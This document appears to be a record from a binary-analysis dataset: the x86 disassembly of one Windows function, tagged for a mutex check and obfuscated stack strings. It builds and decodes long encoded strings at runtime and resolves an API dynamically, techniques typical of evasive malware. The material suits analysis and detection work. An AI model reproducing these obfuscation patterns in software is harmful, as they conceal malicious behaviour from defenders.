Function at 0x100585bf
Capabilities:
Check mutex on windows
Contain obfuscated stackstrings

Disassembly:
push 0x470
mov eax, 0x1008d312
call fcn.1005ede7
mov edi, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
add eax, 0xfffffff0
mov dword [ebp - 4], 1
push eax
call fcn.10052740
pop ecx
xor ebx, ebx
lea esi, [eax + 0x10]
push esi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x10127940], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
jne 0x10058617
push esi
push ebx
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenMutexW]
mov dword [0x10127940], eax
jmp 0x1005862c
cmp eax, 0xb7
jne 0x1005862c
push 0xffffffffffffffff
push dword [0x10127940]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp dword [0x10127940], ebx
lea ecx, [esi - 0x10]
sete bl
call fcn.10056e89
mov byte [edi + 0x2c], bl
test bl, bl
jne 0x10058ff9
mov dword [ebp - 0x30c], 0x2b554441
mov dword [ebp - 0x308], 0x4651694c
mov dword [ebp - 0x304], 0x68734450
mov dword [ebp - 0x300], 0x65597741
mov dword [ebp - 0x2fc], 0x30744159
mov dword [ebp - 0x2f8], 0x496b424e
mov dword [ebp - 0x2f4], 0x4141684e
mov dword [ebp - 0x2f0], 0x73305450
mov dword [ebp - 0x2ec], 0x4c775245
mov dword [ebp - 0x2e8], 0x46387a4c
mov dword [ebp - 0x2e4], 0x326b4359
mov dword [ebp - 0x2e0], 0x7267544d
mov dword [ebp - 0x2dc], 0x7a6c5248
mov dword [ebp - 0x2d8], 0x73416949
mov dword [ebp - 0x2d4], 0x2f4d5445
mov dword [ebp - 0x2d0], 0x75776a66
mov dword [ebp - 0x2cc], 0x6d4a5763
mov dword [ebp - 0x2c8], 0x79554241
mov dword [ebp - 0x2c4], 0x44454847
mov dword [ebp - 0x2c0], 0x36384445
mov dword [ebp - 0x2bc], 0x43304459
mov dword [ebp - 0x2b8], 0x6d6b5844
mov dword [ebp - 0x2b4], 0x7a745241
mov dword [ebp - 0x2b0], 0x42675444
mov dword [ebp - 0x2ac], 0x65345249
mov dword [ebp - 0x2a8], 0x4f4d6a66
mov dword [ebp - 0x2a4], 0x4c4d5144
mov dword [ebp - 0x2a0], 0x46417a46
mov dword [ebp - 0x29c], 0x7a73674c
mov dword [ebp - 0x298], 0x696b5250
mov dword [ebp - 0x294], 0x79496e44
mov dword [ebp - 0x290], 0x754a4261
mov dword [ebp - 0x28c], 0x6f384147
mov dword [ebp - 0x288], 0x6c55684a
mov dword [ebp - 0x284], 0x31496a45
mov dword [ebp - 0x280], 0x6c675242
mov dword [ebp - 0x27c], 0x2b6f4164
mov dword [ebp - 0x278], 0x7638794b
mov dword [ebp - 0x274], 0x38387848
mov dword [ebp - 0x270], 0x76555141
mov dword [ebp - 0x26c], 0x6768794c
mov dword [ebp - 0x268], 0x31553346
mov dword [ebp - 0x264], 0x634d794d
mov dword [ebp - 0x260], 0x31686842
mov dword [ebp - 0x25c], 0x6a735241
mov dword [ebp - 0x258], 0x69554441
mov dword [ebp - 0x254], 0x786b794c
mov dword [ebp - 0x250], 0x79497948
mov dword [ebp - 0x24c], 0x516f7941
mov dword [ebp - 0x248], 0x35416744
mov dword [ebp - 0x244], 0x6a6c534a
mov dword [ebp - 0x240], 0x57676a41
mov dword [ebp - 0x23c], 0x5577524a
mov dword [ebp - 0x238], 0x756f5750
mov dword [ebp - 0x234], 0x50384448
mov dword [ebp - 0x230], 0x76496d4b
mov dword [ebp - 0x22c], 0x46734464
mov dword [ebp - 0x228], 0x3564334b
mov dword [ebp - 0x224], 0x5755684d
mov dword [ebp - 0x220], 0x41414144
mov word [ebp - 0x21c], 0x4b41
mov byte [ebp - 0x21a], 0x6b
mov dword [ebp - 0x464], 0x6c494348
mov dword [ebp - 0x460], 0x7651434e
mov dword [ebp - 0x45c], 0x71566d5a
mov dword [ebp - 0x458], 0x6f38444d
mov dword [ebp - 0x454], 0x3678784b
mov dword [ebp - 0x450], 0x614d684d
mov dword [ebp - 0x44c], 0x30515444
mov dword [ebp - 0x448], 0x6f555859
mov dword [ebp - 0x444], 0x72566e4d
mov dword [ebp - 0x440], 0x39707941
mov dword [ebp - 0x43c], 0x2f413344
mov dword [ebp - 0x438], 0x794e7a4b
mov dword [ebp - 0x434], 0x4f636948
mov dword [ebp - 0x430], 0x4f6b4462
mov dword [ebp - 0x42c], 0x6b38514e
mov dword [ebp - 0x428], 0x44346766
mov dword [ebp - 0x424], 0x56456a46
mov dword [ebp - 0x420], 0x39705144
mov dword [ebp - 0x41c], 0x4d4d4343
xor ebx, ebx
mov dword [ebp - 0x418], 0x656b794c
push ebx
sub esp, 0xc
mov byte [ebp - 0x310], bl
mov ecx, esp
mov dword [ebp - 0x414], 0x2b346950
lea eax, [ebp - 0x219]
mov dword [ebp - 0x410], 0x376f514b
mov dword [ebp - 0x40c], 0x32494350
push dword [ebp - 0x310]
mov dword [ebp - 0x408], 0x43387850
push eax
mov dword [ebp - 0x404], 0x5a737747
lea eax, [ebp - 0x30c]
mov dword [ebp - 0x400], 0x3531784b
mov dword [ebp - 0x3fc], 0x6a465150
mov dword [ebp - 0x3f8], 0x42636a4c
mov dword [ebp - 0x3f4], 0x30566759
mov dword [ebp - 0x3f0], 0x3935684d
mov dword [ebp - 0x3ec], 0x684a5259
mov dword [ebp - 0x3e8], 0x5530434b
mov dword [ebp - 0x3e4], 0x57494444
mov dword [ebp - 0x3e0], 0x2b55324f
mov dword [ebp - 0x3dc], 0x59345143
mov dword [ebp - 0x3d8], 0x7551514c
mov dword [ebp - 0x3d4], 0x78777a4d
mov dword [ebp - 0x3d0], 0x6767794f
mov dword [ebp - 0x3cc], 0x68466862
mov dword [ebp - 0x3c8], 0x556b524b
mov dword [ebp - 0x3c4], 0x78737959
mov dword [ebp - 0x3c0], 0x56346844
mov dword [ebp - 0x3bc], 0x394e444f
mov dword [ebp - 0x3b8], 0x39736d4d
mov dword [ebp - 0x3b4], 0x6f736741
mov dword [ebp - 0x3b0], 0x2b67784c
mov dword [ebp - 0x3ac], 0x5751794d
mov dword [ebp - 0x3a8], 0x6d6c4341
mov dword [ebp - 0x3a4], 0x5330674d
mov dword [ebp - 0x3a0], 0x68777746
mov dword [ebp - 0x39c], 0x68394445
mov dword [ebp - 0x398], 0x32674262
mov dword [ebp - 0x394], 0x65416848
mov dword [ebp - 0x390], 0x785a4447
mov dword [ebp - 0x38c], 0x39686e4e
mov dword [ebp - 0x388], 0x7a427764
mov dword [ebp - 0x384], 0x6b6f6749
mov dword [ebp - 0x380], 0x34453348
mov dword [ebp - 0x37c], 0x71494350
mov dword [ebp - 0x378], 0x734d4844
mov dword [ebp - 0x374], 0x4830695a
mov dword [ebp - 0x370], 0x3156514d
mov dword [ebp - 0x36c], 0x636f5447
mov dword [ebp - 0x368], 0x2b63684f
mov dword [ebp - 0x364], 0x346c7a5a
mov dword [ebp - 0x360], 0x704d574a
mov dword [ebp - 0x35c], 0x58514246
mov dword [ebp - 0x358], 0x3845684e
mov dword [ebp - 0x354], 0x5638434f
mov dword [ebp - 0x350], 0x49497741
mov dword [ebp - 0x34c], 0x6d706d4a
mov dword [ebp - 0x348], 0x356f5344
mov dword [ebp - 0x344], 0x3051324d
mov dword [ebp - 0x340], 0x79496741
mov dword [ebp - 0x33c], 0x6f597748
mov dword [ebp - 0x338], 0x55596d4c
mov dword [ebp - 0x334], 0x5a456d41
mov dword [ebp - 0x330], 0x71677761
mov dword [ebp - 0x32c], 0x3039514d
mov dword [ebp - 0x328], 0x4d674461
mov dword [ebp - 0x324], 0x6870794f
mov dword [ebp - 0x320], 0x4a307959
mov dword [ebp - 0x31c], 0x41634365
mov dword [ebp - 0x318], 0x73444141
push eax
mov dword [ecx], ebx
mov dword [ecx + 4], ebx
mov dword [ecx + 8], ebx
call fcn.1004f7d5
lea eax, [ebp - 0x470]
push eax
call fcn.10052979
add esp, 0x10
mov ecx, eax
mov byte [ebp - 4], 2
call fcn.1005c5aa
push eax
push ebx
sub esp, 0xc
mov byte [ebp - 0x310], bl
mov ecx, esp
lea eax, [ebp - 0x314]
push dword [ebp - 0x310]
mov dword [ecx], ebx
push eax
lea eax, [ebp - 0x464]
mov dword [ecx + 4], ebx
push eax
mov dword [ecx + 8], ebx
call fcn.1004f7d5
lea eax, [ebp - 0x47c]
push eax
call fcn.10052b8c
add esp, 0x10
mov ecx, eax
mov byte [ebp - 4], 3
call fcn.1005c5f3
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x47c]
mov dword [0x101276dc], eax
call fcn.1005c473
lea ecx, [ebp - 0x470]
mov byte [ebp - 4], 1
call fcn.1005c3f0
cmp dword [0x101276dc], ebx
je 0x10058ff9
push 0x10054495
push 0x101276dc
call fcn.1005dfd7
pop ecx
pop ecx
test eax, eax
je 0x10058ff9
push dword [ebp + 8]
mov byte [edi + 0x2d], 1
mov dword [0x10127938], 1
call fcn.1005918f
pop ecx
push eax
push dword [ebp + 8]
mov ecx, 0x10127700
call fcn.10059069
push 0x104
lea eax, [ebp - 0x218]
push eax
push dword [0x1012793c]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [0x10127948], eax
test eax, eax
je 0x10058d32
mov byte [edi + 0x2e], 1
push dword [ebp + 0xc]
mov byte [ebp - 0x310], bl
lea eax, [ebp - 0x21c]
push ebx
sub esp, 0xc
mov dword [ebp - 0x2f4], 0x34734345
mov ecx, esp
mov dword [ebp - 0x2f0], 0x7641434f
mov dword [ebp - 0x2ec], 0x33495843
mov dword [ebp - 0x2e8], 0x50597a43
push dword [ebp - 0x310]
mov dword [ebp - 0x2e4], 0x46345850
push eax
mov dword [ebp - 0x2e0], 0x34704444
lea eax, [ebp - 0x2f4]
mov dword [ebp - 0x2dc], 0x36734342
mov dword [ebp - 0x2d8], 0x696f794d
mov dword [ebp - 0x2d4], 0x75414359
mov dword [ebp - 0x2d0], 0x6f6f4264
mov dword [ebp - 0x2cc], 0x3841694d
mov dword [ebp - 0x2c8], 0x6d514346
mov dword [ebp - 0x2c4], 0x48556943
mov dword [ebp - 0x2c0], 0x6c6f6d42
mov dword [ebp - 0x2bc], 0x4c4d5248
mov dword [ebp - 0x2b8], 0x3541324a
mov dword [ebp - 0x2b4], 0x78554248
mov dword [ebp - 0x2b0], 0x44675343
mov dword [ebp - 0x2ac], 0x47736942
mov dword [ebp - 0x2a8], 0x2f346864
mov dword [ebp - 0x2a4], 0x3951584d
mov dword [ebp - 0x2a0], 0x55637847
mov dword [ebp - 0x29c], 0x6341424c
mov dword [ebp - 0x298], 0x47514347
mov dword [ebp - 0x294], 0x67317759
mov dword [ebp - 0x290], 0x68514764
mov dword [ebp - 0x28c], 0x5155684e
mov dword [ebp - 0x288], 0x49774862
mov dword [ebp - 0x284], 0x5334415a
mov dword [ebp - 0x280], 0x364e7a41
mov dword [ebp - 0x27c], 0x69424145
mov dword [ebp - 0x278], 0x46517a4b
mov dword [ebp - 0x274], 0x50346942
mov dword [ebp - 0x270], 0x336f444d
mov dword [ebp - 0x26c], 0x4645774b
mov dword [ebp - 0x268], 0x5a457945
mov dword [ebp - 0x264], 0x39736964
mov dword [ebp - 0x260], 0x35706943
mov dword [ebp - 0x25c], 0x5377545a
mov dword [ebp - 0x258], 0x3668444e
mov dword [ebp - 0x254], 0x35416941
mov dword [ebp - 0x250], 0x47634462
mov dword [ebp - 0x24c], 0x32394744
mov dword [ebp - 0x248], 0x31457747
mov dword [ebp - 0x244], 0x564d514b
mov dword [ebp - 0x240], 0x73415263
mov dword [ebp - 0x23c], 0x6a567948
mov dword [ebp - 0x238], 0x4563794d
mov dword [ebp - 0x234], 0x52776841
mov dword [ebp - 0x230], 0x63777764
mov dword [ebp - 0x22c], 0x694d794c
mov dword [ebp - 0x228], 0x77397743
mov dword [ebp - 0x224], 0x41414250
mov dword [ebp - 0x220], 0x54434141
push eax
mov dword [ecx], ebx
mov dword [ecx + 4], ebx
mov dword [ecx + 8], ebx
call fcn.1004f7d5
lea eax, [ebp - 0x470]
push eax
call fcn.10052b8c
add esp, 0x10
mov ecx, eax
mov byte [ebp - 4], 4
call fcn.1005c5f3
push eax
lea eax, [ebp + 0xc]
push eax
call fcn.10052fea
add esp, 0xc
lea ecx, [ebp - 0x470]
mov byte [ebp - 4], 1
call fcn.1005c473
push dword [ebp + 0xc]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x10127944], eax
test eax, eax
je 0x10058fd0
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0x1005b679
lea ecx, [ebp - 0x314]
call fcn.1004f480
push eax
mov ecx, 0x101276f0
call fcn.1005bf51
cmp dword [ebp - 0x310], 0
je 0x10058ff9
call fcn.100698fd
mov ecx, dword [ebp + 8]
lea ecx, [ecx - 0x10]
call fcn.10056e89
mov ecx, dword [ebp + 0xc]
lea ecx, [ecx - 0x10]
call fcn.10056e89
call fcn.1005ed91
ret